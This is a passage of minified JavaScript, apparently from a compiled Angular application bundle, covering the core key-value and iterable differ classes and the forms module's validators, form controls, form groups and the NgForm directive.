i&&r<i.length&&(o=i[r]),r+t+o}class su{constructor(){}supports(t){return t instanceof Map||Q4(t)}create(){return new zf}}class zf{constructor(){this._records=new Map,this._mapHead=null,this._appendAfter=null,this._previousMapHead=null,this._changesHead=null,this._changesTail=null,this._additionsHead=null,this._additionsTail=null,this._removalsHead=null,this._removalsTail=null}get isDirty(){return null!==this._additionsHead||null!==this._changesHead||null!==this._removalsHead}forEachItem(t){let i;for(i=this._mapHead;null!==i;i=i._next)t(i)}forEachPreviousItem(t){let i;for(i=this._previousMapHead;null!==i;i=i._nextPrevious)t(i)}forEachChangedItem(t){let i;for(i=this._changesHead;null!==i;i=i._nextChanged)t(i)}forEachAddedItem(t){let i;for(i=this._additionsHead;null!==i;i=i._nextAdded)t(i)}forEachRemovedItem(t){let i;for(i=this._removalsHead;null!==i;i=i._nextRemoved)t(i)}diff(t){if(t){if(!(t instanceof Map||Q4(t)))throw new Q(900,!1)}else t=new Map;return this.check(t)?this:null}onDestroy(){}check(t){this._reset();let i=this._mapHead;if(this._appendAfter=null,this._forEach(t,(r,o)=>{if(i&&i.key===o)this._maybeAddToChanges(i,r),this._appendAfter=i,i=i._next;else{const l=this._getOrCreateRecordForKey(o,r);i=this._insertBeforeOrAppend(i,l)}}),i){i._prev&&(i._prev._next=null),this._removalsHead=i;for(let r=i;null!==r;r=r._nextRemoved)r===this._mapHead&&(this._mapHead=null),this._records.delete(r.key),r._nextRemoved=r._next,r.previousValue=r.currentValue,r.currentValue=null,r._prev=null,r._next=null}return this._changesTail&&(this._changesTail._nextChanged=null),this._additionsTail&&(this._additionsTail._nextAdded=null),this.isDirty}_insertBeforeOrAppend(t,i){if(t){const r=t._prev;return i._next=t,i._prev=r,t._prev=i,r&&(r._next=i),t===this._mapHead&&(this._mapHead=i),this._appendAfter=t,t}return this._appendAfter?(this._appendAfter._next=i,i._prev=this._appendAfter):this._mapHead=i,this._appendAfter=i,null}_getOrCreateRecordForKey(t,i){if(this._records.has(t)){const o=this._records.get(t);this._maybeAddToChanges(o,i);const l=o._prev,v=o._next;return l&&(l._next=v),v&&(v._prev=l),o._next=null,o._prev=null,o}const r=new Tf(t);return this._records.set(t,r),r.currentValue=i,this._addToAdditions(r),r}_reset(){if(this.isDirty){let t;for(this._previousMapHead=this._mapHead,t=this._previousMapHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._changesHead;null!==t;t=t._nextChanged)t.previousValue=t.currentValue;for(t=this._additionsHead;null!=t;t=t._nextAdded)t.previousValue=t.currentValue;this._changesHead=this._changesTail=null,this._additionsHead=this._additionsTail=null,this._removalsHead=null}}_maybeAddToChanges(t,i){Object.is(i,t.currentValue)||(t.previousValue=t.currentValue,t.currentValue=i,this._addToChanges(t))}_addToAdditions(t){null===this._additionsHead?this._additionsHead=this._additionsTail=t:(this._additionsTail._nextAdded=t,this._additionsTail=t)}_addToChanges(t){null===this._changesHead?this._changesHead=this._changesTail=t:(this._changesTail._nextChanged=t,this._changesTail=t)}_forEach(t,i){t instanceof Map?t.forEach(i):Object.keys(t).forEach(r=>i(t[r],r))}}class Tf{constructor(t){this.key=t,this.previousValue=null,this.currentValue=null,this._nextPrevious=null,this._next=null,this._prev=null,this._nextAdded=null,this._nextRemoved=null,this._nextChanged=null}}function ou(){return new F7([new iu])}let F7=(()=>{class e{constructor(i){this.factories=i}static create(i,r){if(null!=r){const o=r.factories.slice();i=i.concat(o)}return new e(i)}static extend(i){return{provide:e,useFactory:r=>e.create(i,r||ou()),deps:[[e,new Yi,new On]]}}find(i){const r=this.factories.find(o=>o.supports(i));if(null!=r)return r;throw new Q(901,!1)}}return e.\\u0275prov=Be({token:e,providedIn:"root",factory:ou}),e})();function cu(){return new N7([new su])}let N7=(()=>{class e{constructor(i){this.factories=i}static create(i,r){if(r){const o=r.factories.slice();i=i.concat(o)}return new e(i)}static extend(i){return{provide:e,useFactory:r=>e.create(i,r||cu()),deps:[[e,new Yi,new On]]}}find(i){const r=this.factories.find(o=>o.supports(i));if(r)return r;throw new Q(901,!1)}}return e.\\u0275prov=Be({token:e,providedIn:"root",factory:cu}),e})();const Of=W9(null,"core",[]);let If=(()=>{class e{constructor(i){}}return e.\\u0275fac=function(i){return new(i||e)(Pe(wc))},e.\\u0275mod=P1({type:e}),e.\\u0275inj=P({}),e})();function Rf(e){return"boolean"==typeof e?e:null!=e&&"false"!==e}},4006:(At,ae,d)=>{"use strict";d.d(ae,{Cf:()=>oe,EJ:()=>Zn,F:()=>V1,Fj:()=>j,JJ:()=>Pt,JL:()=>Ie,JU:()=>_,Kr:()=>Bi,NI:()=>In,On:()=>li,Q7:()=>ki,UX:()=>st,Wl:()=>g,YN:()=>Hi,Zs:()=>Ci,_Y:()=>L1,a5:()=>ct,c5:()=>Mi,kI:()=>K,nD:()=>un,nJ:()=>Ee,oH:()=>Hn,p4:()=>Gn,sg:()=>pn,u:()=>qi,u5:()=>ye,wO:()=>bn,wV:()=>Mn});var n=d(4650),a=d(6895),s=d(5254),u=d(567),c=d(4850);let f=(()=>{class I{constructor(T,ue){this._renderer=T,this._elementRef=ue,this.onChange=gt=>{},this.onTouched=()=>{}}setProperty(T,ue){this._renderer.setProperty(this._elementRef.nativeElement,T,ue)}registerOnTouched(T){this.onTouched=T}registerOnChange(T){this.onChange=T}setDisabledState(T){this.setProperty("disabled",T)}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(n.Qsj),n.Y36(n.SBq))},I.\\u0275dir=n.lG2({type:I}),I})(),E=(()=>{class I extends f{}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,features:[n.qOj]}),I})();const _=new n.OlP("NgValueAccessor"),S={provide:_,useExisting:(0,n.Gpc)(()=>g),multi:!0};let g=(()=>{class I extends E{writeValue(T){this.setProperty("checked",T)}}return I.\\u0275fac=function(){let L;return function(ue){return(L||(L=n.n5z(I)))(ue||I)}}(),I.\\u0275dir=n.lG2({type:I,selectors:[["input","type","checkbox","formControlName",""],["input","type","checkbox","formControl",""],["input","type","checkbox","ngModel",""]],hostBindings:function(T,ue){1&T&&n.NdJ("change",function(Ot){return ue.onChange(Ot.target.checked)})("blur",function(){return ue.onTouched()})},features:[n._Bn([S]),n.qOj]}),I})();const C={provide:_,useExisting:(0,n.Gpc)(()=>j),multi:!0},H=new n.OlP("CompositionEventMode");let j=(()=>{class I extends f{constructor(T,ue,gt){super(T,ue),this._compositionMode=gt,this._composing=!1,null==this._compositionMode&&(this._compositionMode=!function z(){const I=(0,a.q)()?(0,a.q)().getUserAgent():"";return/android (\\d+)/.test(I.toLowerCase())}())}writeValue(T){this.setProperty("value",T??"")}_handleInput(T){(!this._compositionMode||this._compositionMode&&!this._composing)&&this.onChange(T)}_compositionStart(){this._composing=!0}_compositionEnd(T){this._composing=!1,this._compositionMode&&this.onChange(T)}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(n.Qsj),n.Y36(n.SBq),n.Y36(H,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["input","formControlName","",3,"type","checkbox"],["textarea","formControlName",""],["input","formControl","",3,"type","checkbox"],["textarea","formControl",""],["input","ngModel","",3,"type","checkbox"],["textarea","ngModel",""],["","ngDefaultControl",""]],hostBindings:function(T,ue){1&T&&n.NdJ("input",function(Ot){return ue._handleInput(Ot.target.value)})("blur",function(){return ue.onTouched()})("compositionstart",function(){return ue._compositionStart()})("compositionend",function(Ot){return ue._compositionEnd(Ot.target.value)})},features:[n._Bn([C]),n.qOj]}),I})();const U=!1;function G(I){return null==I||("string"==typeof I||Array.isArray(I))&&0===I.length}function Q(I){return null!=I&&"number"==typeof I.length}const oe=new n.OlP("NgValidators"),Ce=new n.OlP("NgAsyncValidators"),k=/^(?=.{1,254}$)(?=.{1,64}@)[a-zA-Z0-9!#$%&\'*+/=?^_`{|}~-]+(?:\\.[a-zA-Z0-9!#$%&\'*+/=?^_`{|}~-]+)*@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;class K{static min(L){return function se(I){return L=>{if(G(L.value)||G(I))return null;const T=parseFloat(L.value);return!isNaN(T)&&T<I?{min:{min:I,actual:L.value}}:null}}(L)}static max(L){return function ee(I){return L=>{if(G(L.value)||G(I))return null;const T=parseFloat(L.value);return!isNaN(T)&&T>I?{max:{max:I,actual:L.value}}:null}}(L)}static required(L){return q(L)}static requiredTrue(L){return we(L)}static email(L){return function ce(I){return G(I.value)||k.test(I.value)?null:{email:!0}}(L)}static minLength(L){return je(L)}static maxLength(L){return Ze(L)}static pattern(L){return le(L)}static nullValidator(L){return null}static compose(L){return ze(L)}static composeAsync(L){return re(L)}}function q(I){return G(I.value)?{required:!0}:null}function we(I){return!0===I.value?null:{required:!0}}function je(I){return L=>G(L.value)||!Q(L.value)?null:L.value.length<I?{minlength:{requiredLength:I,actualLength:L.value.length}}:null}function Ze(I){return L=>Q(L.value)&&L.value.length>I?{maxlength:{requiredLength:I,actualLength:L.value.length}}:null}function le(I){if(!I)return Oe;let L,T;return"string"==typeof I?(T="","^"!==I.charAt(0)&&(T+="^"),T+=I,"$"!==I.charAt(I.length-1)&&(T+="$"),L=new RegExp(T)):(T=I.toString(),L=I),ue=>{if(G(ue.value))return null;const gt=ue.value;return L.test(gt)?null:{pattern:{requiredPattern:T,actualValue:gt}}}}function Oe(I){return null}function Qe(I){return null!=I}function Ye(I){const L=(0,n.QGY)(I)?(0,s.D)(I):I;if(U&&!(0,n.CqO)(L)){let T="Expected async validator to return Promise or Observable.";throw"object"==typeof I&&(T+=" Are you using a synchronous validator where an async validator is expected?"),new n.vHH(-1101,T)}return L}function qe(I){let L={};return I.forEach(T=>{L=null!=T?{...L,...T}:L}),0===Object.keys(L).length?null:L}function Ke(I,L){return L.map(T=>T(I))}function bt(I){return I.map(L=>function dt(I){return!I.validate}(L)?L:T=>L.validate(T))}function ze(I){if(!I)return null;const L=I.filter(Qe);return 0==L.length?null:function(T){return qe(Ke(T,L))}}function De(I){return null!=I?ze(bt(I)):null}function re(I){if(!I)return null;const L=I.filter(Qe);return 0==L.length?null:function(T){const ue=Ke(T,L).map(Ye);return(0,u.D)(ue).pipe((0,c.U)(qe))}}function ve(I){return null!=I?re(bt(I)):null}function We(I,L){return null===I?[L]:Array.isArray(I)?[...I,L]:[I,L]}function xt(I){return I._rawValidators}function Be(I){return I._rawAsyncValidators}function pe(I){return I?Array.isArray(I)?I:[I]:[]}function P(I,L){return Array.isArray(I)?I.includes(L):I===L}function w(I,L){const T=pe(L);return pe(I).forEach(gt=>{P(T,gt)||T.push(gt)}),T}function R(I,L){return pe(L).filter(T=>!P(I,T))}class X{constructor(){this._rawValidators=[],this._rawAsyncValidators=[],this._onDestroyCallbacks=[]}get value(){return this.control?this.control.value:null}get valid(){return this.control?this.control.valid:null}get invalid(){return this.control?this.control.invalid:null}get pending(){return this.control?this.control.pending:null}get disabled(){return this.control?this.control.disabled:null}get enabled(){return this.control?this.control.enabled:null}get errors(){return this.control?this.control.errors:null}get pristine(){return this.control?this.control.pristine:null}get dirty(){return this.control?this.control.dirty:null}get touched(){return this.control?this.control.touched:null}get status(){return this.control?this.control.status:null}get untouched(){return this.control?this.control.untouched:null}get statusChanges(){return this.control?this.control.statusChanges:null}get valueChanges(){return this.control?this.control.valueChanges:null}get path(){return null}_setValidators(L){this._rawValidators=L||[],this._composedValidatorFn=De(this._rawValidators)}_setAsyncValidators(L){this._rawAsyncValidators=L||[],this._composedAsyncValidatorFn=ve(this._rawAsyncValidators)}get validator(){return this._composedValidatorFn||null}get asyncValidator(){return this._composedAsyncValidatorFn||null}_registerOnDestroy(L){this._onDestroyCallbacks.push(L)}_invokeOnDestroyCallbacks(){this._onDestroyCallbacks.forEach(L=>L()),this._onDestroyCallbacks=[]}reset(L){this.control&&this.control.reset(L)}hasError(L,T){return!!this.control&&this.control.hasError(L,T)}getError(L,T){return this.control?this.control.getError(L,T):null}}class _e extends X{get formDirective(){return null}get path(){return null}}class ct extends X{constructor(){super(...arguments),this._parent=null,this.name=null,this.valueAccessor=null}}class Je{constructor(L){this._cd=L}get isTouched(){return!!this._cd?.control?.touched}get isUntouched(){return!!this._cd?.control?.untouched}get isPristine(){return!!this._cd?.control?.pristine}get isDirty(){return!!this._cd?.control?.dirty}get isValid(){return!!this._cd?.control?.valid}get isInvalid(){return!!this._cd?.control?.invalid}get isPending(){return!!this._cd?.control?.pending}get isSubmitted(){return!!this._cd?.submitted}}let Pt=(()=>{class I extends Je{constructor(T){super(T)}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(ct,2))},I.\\u0275dir=n.lG2({type:I,selectors:[["","formControlName",""],["","ngModel",""],["","formControl",""]],hostVars:14,hostBindings:function(T,ue){2&T&&n.ekj("ng-untouched",ue.isUntouched)("ng-touched",ue.isTouched)("ng-pristine",ue.isPristine)("ng-dirty",ue.isDirty)("ng-valid",ue.isValid)("ng-invalid",ue.isInvalid)("ng-pending",ue.isPending)},features:[n.qOj]}),I})(),Ie=(()=>{class I extends Je{constructor(T){super(T)}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(_e,10))},I.\\u0275dir=n.lG2({type:I,selectors:[["","formGroupName",""],["","formArrayName",""],["","ngModelGroup",""],["","formGroup",""],["form",3,"ngNoForm",""],["","ngForm",""]],hostVars:16,hostBindings:function(T,ue){2&T&&n.ekj("ng-untouched",ue.isUntouched)("ng-touched",ue.isTouched)("ng-pristine",ue.isPristine)("ng-dirty",ue.isDirty)("ng-valid",ue.isValid)("ng-invalid",ue.isInvalid)("ng-pending",ue.isPending)("ng-submitted",ue.isSubmitted)},features:[n.qOj]}),I})();function c1(I,L){return I?`with name: \'${L}\'`:`at index: ${L}`}const Fe=!1,be="VALID",Pe="INVALID",Re="PENDING",Ue="DISABLED";function xe(I){return(Ct(I)?I.validators:I)||null}function Ae(I,L){return(Ct(L)?L.asyncValidators:I)||null}function Ct(I){return null!=I&&!Array.isArray(I)&&"object"==typeof I}class nt{constructor(L,T){this._pendingDirty=!1,this._hasOwnPendingAsyncValidator=!1,this._pendingTouched=!1,this._onCollectionChange=()=>{},this._parent=null,this.pristine=!0,this.touched=!1,this._onDisabledChange=[],this._assignValidators(L),this._assignAsyncValidators(T)}get validator(){return this._composedValidatorFn}set validator(L){this._rawValidators=this._composedValidatorFn=L}get asyncValidator(){return this._composedAsyncValidatorFn}set asyncValidator(L){this._rawAsyncValidators=this._composedAsyncValidatorFn=L}get parent(){return this._parent}get valid(){return this.status===be}get invalid(){return this.status===Pe}get pending(){return this.status==Re}get disabled(){return this.status===Ue}get enabled(){return this.status!==Ue}get dirty(){return!this.pristine}get untouched(){return!this.touched}get updateOn(){return this._updateOn?this._updateOn:this.parent?this.parent.updateOn:"change"}setValidators(L){this._assignValidators(L)}setAsyncValidators(L){this._assignAsyncValidators(L)}addValidators(L){this.setValidators(w(L,this._rawValidators))}addAsyncValidators(L){this.setAsyncValidators(w(L,this._rawAsyncValidators))}removeValidators(L){this.setValidators(R(L,this._rawValidators))}removeAsyncValidators(L){this.setAsyncValidators(R(L,this._rawAsyncValidators))}hasValidator(L){return P(this._rawValidators,L)}hasAsyncValidator(L){return P(this._rawAsyncValidators,L)}clearValidators(){this.validator=null}clearAsyncValidators(){this.asyncValidator=null}markAsTouched(L={}){this.touched=!0,this._parent&&!L.onlySelf&&this._parent.markAsTouched(L)}markAllAsTouched(){this.markAsTouched({onlySelf:!0}),this._forEachChild(L=>L.markAllAsTouched())}markAsUntouched(L={}){this.touched=!1,this._pendingTouched=!1,this._forEachChild(T=>{T.markAsUntouched({onlySelf:!0})}),this._parent&&!L.onlySelf&&this._parent._updateTouched(L)}markAsDirty(L={}){this.pristine=!1,this._parent&&!L.onlySelf&&this._parent.markAsDirty(L)}markAsPristine(L={}){this.pristine=!0,this._pendingDirty=!1,this._forEachChild(T=>{T.markAsPristine({onlySelf:!0})}),this._parent&&!L.onlySelf&&this._parent._updatePristine(L)}markAsPending(L={}){this.status=Re,!1!==L.emitEvent&&this.statusChanges.emit(this.status),this._parent&&!L.onlySelf&&this._parent.markAsPending(L)}disable(L={}){const T=this._parentMarkedDirty(L.onlySelf);this.status=Ue,this.errors=null,this._forEachChild(ue=>{ue.disable({...L,onlySelf:!0})}),this._updateValue(),!1!==L.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._updateAncestors({...L,skipPristineCheck:T}),this._onDisabledChange.forEach(ue=>ue(!0))}enable(L={}){const T=this._parentMarkedDirty(L.onlySelf);this.status=be,this._forEachChild(ue=>{ue.enable({...L,onlySelf:!0})}),this.updateValueAndValidity({onlySelf:!0,emitEvent:L.emitEvent}),this._updateAncestors({...L,skipPristineCheck:T}),this._onDisabledChange.forEach(ue=>ue(!1))}_updateAncestors(L){this._parent&&!L.onlySelf&&(this._parent.updateValueAndValidity(L),L.skipPristineCheck||this._parent._updatePristine(),this._parent._updateTouched())}setParent(L){this._parent=L}getRawValue(){return this.value}updateValueAndValidity(L={}){this._setInitialStatus(),this._updateValue(),this.enabled&&(this._cancelExistingSubscription(),this.errors=this._runValidator(),this.status=this._calculateStatus(),(this.status===be||this.status===Re)&&this._runAsyncValidator(L.emitEvent)),!1!==L.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._parent&&!L.onlySelf&&this._parent.updateValueAndValidity(L)}_updateTreeValidity(L={emitEvent:!0}){this._forEachChild(T=>T._updateTreeValidity(L)),this.updateValueAndValidity({onlySelf:!0,emitEvent:L.emitEvent})}_setInitialStatus(){this.status=this._allControlsDisabled()?Ue:be}_runValidator(){return this.validator?this.validator(this):null}_runAsyncValidator(L){if(this.asyncValidator){this.status=Re,this._hasOwnPendingAsyncValidator=!0;const T=Ye(this.asyncValidator(this));this._asyncValidationSubscription=T.subscribe(ue=>{this._hasOwnPendingAsyncValidator=!1,this.setErrors(ue,{emitEvent:L})})}}_cancelExistingSubscription(){this._asyncValidationSubscription&&(this._asyncValidationSubscription.unsubscribe(),this._hasOwnPendingAsyncValidator=!1)}setErrors(L,T={}){this.errors=L,this._updateControlsErrors(!1!==T.emitEvent)}get(L){let T=L;return null==T||(Array.isArray(T)||(T=T.split(".")),0===T.length)?null:T.reduce((ue,gt)=>ue&&ue._find(gt),this)}getError(L,T){const ue=T?this.get(T):this;return ue&&ue.errors?ue.errors[L]:null}hasError(L,T){return!!this.getError(L,T)}get root(){let L=this;for(;L._parent;)L=L._parent;return L}_updateControlsErrors(L){this.status=this._calculateStatus(),L&&this.statusChanges.emit(this.status),this._parent&&this._parent._updateControlsErrors(L)}_initObservables(){this.valueChanges=new n.vpe,this.statusChanges=new n.vpe}_calculateStatus(){return this._allControlsDisabled()?Ue:this.errors?Pe:this._hasOwnPendingAsyncValidator||this._anyControlsHaveStatus(Re)?Re:this._anyControlsHaveStatus(Pe)?Pe:be}_anyControlsHaveStatus(L){return this._anyControls(T=>T.status===L)}_anyControlsDirty(){return this._anyControls(L=>L.dirty)}_anyControlsTouched(){return this._anyControls(L=>L.touched)}_updatePristine(L={}){this.pristine=!this._anyControlsDirty(),this._parent&&!L.onlySelf&&this._parent._updatePristine(L)}_updateTouched(L={}){this.touched=this._anyControlsTouched(),this._parent&&!L.onlySelf&&this._parent._updateTouched(L)}_registerOnCollectionChange(L){this._onCollectionChange=L}_setUpdateStrategy(L){Ct(L)&&null!=L.updateOn&&(this._updateOn=L.updateOn)}_parentMarkedDirty(L){return!L&&!(!this._parent||!this._parent.dirty)&&!this._parent._anyControlsDirty()}_find(L){return null}_assignValidators(L){this._rawValidators=Array.isArray(L)?L.slice():L,this._composedValidatorFn=function J(I){return Array.isArray(I)?De(I):I||null}(this._rawValidators)}_assignAsyncValidators(L){this._rawAsyncValidators=Array.isArray(L)?L.slice():L,this._composedAsyncValidatorFn=function mt(I){return Array.isArray(I)?ve(I):I||null}(this._rawAsyncValidators)}}class fe extends nt{constructor(L,T,ue){super(xe(T),Ae(ue,T)),this.controls=L,this._initObservables(),this._setUpdateStrategy(T),this._setUpControls(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator})}registerControl(L,T){return this.controls[L]?this.controls[L]:(this.controls[L]=T,T.setParent(this),T._registerOnCollectionChange(this._onCollectionChange),T)}addControl(L,T,ue={}){this.registerControl(L,T),this.updateValueAndValidity({emitEvent:ue.emitEvent}),this._onCollectionChange()}removeControl(L,T={}){this.controls[L]&&this.controls[L]._registerOnCollectionChange(()=>{}),delete this.controls[L],this.updateValueAndValidity({emitEvent:T.emitEvent}),this._onCollectionChange()}setControl(L,T,ue={}){this.controls[L]&&this.controls[L]._registerOnCollectionChange(()=>{}),delete this.controls[L],T&&this.registerControl(L,T),this.updateValueAndValidity({emitEvent:ue.emitEvent}),this._onCollectionChange()}contains(L){return this.controls.hasOwnProperty(L)&&this.controls[L].enabled}setValue(L,T={}){(function pt(I,L,T){I._forEachChild((ue,gt)=>{if(void 0===T[gt])throw new n.vHH(1002,Fe?function kt(I,L){return`Must supply a value for form control ${c1(I,L)}`}(L,gt):"")})})(this,!0,L),Object.keys(L).forEach(ue=>{(function jt(I,L,T){const ue=I.controls;if(!(L?Object.keys(ue):ue).length)throw new n.vHH(1e3,Fe?function It(I){return`\\n There are no form controls registered with this ${I?"group":"array"} yet. If you\'re using ngModel,\\n you may want to check next tick (e.g. use setTimeout).\\n `}(L):"");if(!ue[T])throw new n.vHH(1001,Fe?function _t(I,L){return`Cannot find form control ${c1(I,L)}`}(L,T):"")})(this,!0,ue),this.controls[ue].setValue(L[ue],{onlySelf:!0,emitEvent:T.emitEvent})}),this.updateValueAndValidity(T)}patchValue(L,T={}){null!=L&&(Object.keys(L).forEach(ue=>{const gt=this.controls[ue];gt&>.patchValue(L[ue],{onlySelf:!0,emitEvent:T.emitEvent})}),this.updateValueAndValidity(T))}reset(L={},T={}){this._forEachChild((ue,gt)=>{ue.reset(L[gt],{onlySelf:!0,emitEvent:T.emitEvent})}),this._updatePristine(T),this._updateTouched(T),this.updateValueAndValidity(T)}getRawValue(){return this._reduceChildren({},(L,T,ue)=>(L[ue]=T.getRawValue(),L))}_syncPendingControls(){let L=this._reduceChildren(!1,(T,ue)=>!!ue._syncPendingControls()||T);return L&&this.updateValueAndValidity({onlySelf:!0}),L}_forEachChild(L){Object.keys(this.controls).forEach(T=>{const ue=this.controls[T];ue&&L(ue,T)})}_setUpControls(){this._forEachChild(L=>{L.setParent(this),L._registerOnCollectionChange(this._onCollectionChange)})}_updateValue(){this.value=this._reduceValue()}_anyControls(L){for(const[T,ue]of Object.entries(this.controls))if(this.contains(T)&&L(ue))return!0;return!1}_reduceValue(){return this._reduceChildren({},(T,ue,gt)=>((ue.enabled||this.disabled)&&(T[gt]=ue.value),T))}_reduceChildren(L,T){let ue=L;return this._forEachChild((gt,Ot)=>{ue=T(ue,gt,Ot)}),ue}_allControlsDisabled(){for(const L of Object.keys(this.controls))if(this.controls[L].enabled)return!1;return Object.keys(this.controls).length>0||this.disabled}_find(L){return this.controls.hasOwnProperty(L)?this.controls[L]:null}}const Ee=fe,Ne=new n.OlP("CallSetDisabledState",{providedIn:"root",factory:()=>ut}),ut="always";function Rt(I,L){return[...L.path,I]}function Zt(I,L,T=ut){gn(I,L),L.valueAccessor.writeValue(I.value),(I.disabled||"always"===T)&&L.valueAccessor.setDisabledState?.(I.disabled),function P1(I,L){L.valueAccessor.registerOnChange(T=>{I._pendingValue=T,I._pendingChange=!0,I._pendingDirty=!0,"change"===I.updateOn&&Ge(I,L)})}(I,L),function vt(I,L){const T=(ue,gt)=>{L.valueAccessor.writeValue(ue),gt&&L.viewToModelUpdate(ue)};I.registerOnChange(T),L._registerOnDestroy(()=>{I._unregisterOnChange(T)})}(I,L),function on(I,L){L.valueAccessor.registerOnTouched(()=>{I._pendingTouched=!0,"blur"===I.updateOn&&I._pendingChange&&Ge(I,L),"submit"!==I.updateOn&&I.markAsTouched()})}(I,L),function G1(I,L){if(L.valueAccessor.setDisabledState){const T=ue=>{L.valueAccessor.setDisabledState(ue)};I.registerOnDisabledChange(T),L._registerOnDestroy(()=>{I._unregisterOnDisabledChange(T)})}}(I,L)}function a1(I,L,T=!0){const ue=()=>{};L.valueAccessor&&(L.valueAccessor.registerOnChange(ue),L.valueAccessor.registerOnTouched(ue)),nn(I,L),I&&(L._invokeOnDestroyCallbacks(),I._registerOnCollectionChange(()=>{}))}function _1(I,L){I.forEach(T=>{T.registerOnValidatorChange&&T.registerOnValidatorChange(L)})}function gn(I,L){const T=xt(I);null!==L.validator?I.setValidators(We(T,L.validator)):"function"==typeof T&&I.setValidators([T]);const ue=Be(I);null!==L.asyncValidator?I.setAsyncValidators(We(ue,L.asyncValidator)):"function"==typeof ue&&I.setAsyncValidators([ue]);const gt=()=>I.updateValueAndValidity();_1(L._rawValidators,gt),_1(L._rawAsyncValidators,gt)}function nn(I,L){let T=!1;if(null!==I){if(null!==L.validator){const gt=xt(I);if(Array.isArray(gt)&>.length>0){const Ot=gt.filter(Jt=>Jt!==L.validator);Ot.length!==gt.length&&(T=!0,I.setValidators(Ot))}}if(null!==L.asyncValidator){const gt=Be(I);if(Array.isArray(gt)&>.length>0){const Ot=gt.filter(Jt=>Jt!==L.asyncValidator);Ot.length!==gt.length&&(T=!0,I.setAsyncValidators(Ot))}}}const ue=()=>{};return _1(L._rawValidators,ue),_1(L._rawAsyncValidators,ue),T}function Ge(I,L){I._pendingDirty&&I.markAsDirty(),I.setValue(I._pendingValue,{emitModelToViewChange:!1}),L.viewToModelUpdate(I._pendingValue),I._pendingChange=!1}function Me(I,L){gn(I,L)}function Wt(I,L){if(!I.hasOwnProperty("model"))return!1;const T=I.model;return!!T.isFirstChange()||!Object.is(L,T.currentValue)}function w1(I,L){I._syncPendingControls(),L.forEach(T=>{const ue=T.control;"submit"===ue.updateOn&&ue._pendingChange&&(T.viewToModelUpdate(ue._pendingValue),ue._pendingChange=!1)})}function Qt(I,L){if(!L)return null;let T,ue,gt;return Array.isArray(L),L.forEach(Ot=>{Ot.constructor===j?T=Ot:function p1(I){return Object.getPrototypeOf(I.constructor)===E}(Ot)?ue=Ot:gt=Ot}),gt||ue||T||null}const Y1={provide:_e,useExisting:(0,n.Gpc)(()=>V1)},T1=(()=>Promise.resolve())();let V1=(()=>{class I extends _e{constructor(T,ue,gt){super(),this.callSetDisabledState=gt,this.submitted=!1,this._directives=new Set,this.ngSubmit=new n.vpe,this.form=new fe({},De(T),ve(ue))}ngAfterViewInit(){this._setUpdateStrategy()}get formDirective(){return this}get control(){return this.form}get path(){return[]}get controls(){return this.form.controls}addControl(T){T1.then(()=>{const ue=this._findContainer(T.path);T.control=ue.registerControl(T.name,T.control),Zt(T.control,T,this.callSetDisabledState),T.control.updateValueAndValidity({emitEvent:!1}),this._directives.add(T)})}getControl(T){return this.form.get(T.path)}removeControl(T){T1.then(()=>{const ue=this._findContainer(T.path);ue&&ue.removeControl(T.name),this._directives.delete(T)})}addFormGroup(T){T1.then(()=>{const ue=this._findContainer(T.path),gt=new fe({});Me(gt,T),ue.registerControl(T.name,gt),gt.updateValueAndValidity({emitEvent:!1})})}removeFormGroup(T){T1.then(()=>{const ue=this._findContainer(T.path);ue&&ue.removeControl(T.name)})}getFormGroup(T){return this.form.get(T.path)}updateModel(T,ue){T1.then(()=>{this.form.get(T.path).setValue(ue)})}setValue(T){this.control.setValue(T)}onSubmit(T){return this.submitted=!0,w1(this.form,this._directives),this.ngSubmit.emit(T),"dialog"===T?.target?.method}onReset(){this.resetForm()}resetForm(T){this.form.reset(T),this.submitted=!1}_setUpdateStrategy(){this.options&&null!=this.options.updateOn&&(this.form._updateOn=this.options.updateOn)}_findContainer(T){return T.pop(),T.length?this.form.get(T):this.form}}return I.\\u0275fac=function(T){return new(T||I)(n.Y36(oe,10),n.Y36(Ce,10),n.Y36(Ne,8))},I.\\u0275dir=n.lG2({type:I,selectors:[["form",3,"ngNoForm","",3,"formGroup",""],["ng-form"],["","ngForm",""]],hostBindings:function(T,ue){1&T&&n.NdJ("submit",function(Ot){return ue.onSubmit(Ot)})("reset",function(){return ue.onReset()})},inputs:{options:["ngFormOptions","options"]},outputs:{ngSubmit:"ngSubmit"},exportAs:["ngForm"],features:[n._Bn([Y1]),n.qOj]}),I})();function vn(I,L){const T=I.indexOf(L);T>-1&&I.splice(T,1)}function E1(I){return"object"==typeof I&&null!==I&&2===Object.keys(I).length&&"value"in I&&"disabled"in I}const In=class extends nt{constructor(L=null,T,ue){super(xe(T),Ae(ue,T)),this.defaultValue=null,this._onChange=[],this._pendingChange=!1,this._applyFormState(L),this._setUpdateStrategy(T),this._initObservables(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator}),Ct(T)&&(T.nonNullable||T.initialValueIsDefault)&&(this.defaultValue=E1(L)?L.value:L)}setValue(L,T={}){this.value=this._pendingValue=L,this._onChange.length&&!1!==T.emitModelToViewChange&&this._onChange.forEach(ue=>ue(this.value,!1!==T.emitViewToModelChange)),this.updateValueAndValidity(T)}patchValue(L,T={}){this.setValue(L,T)}reset(L=this.defaultValue,T={}){this._applyFormState(L),this.markAsPristine(T),this.markAsUntouched(T),this.setValue(this.value,T),this._pendingChange=!1}_updateValue(){}_anyControls(L){return!1}_allControlsDisabled(){return 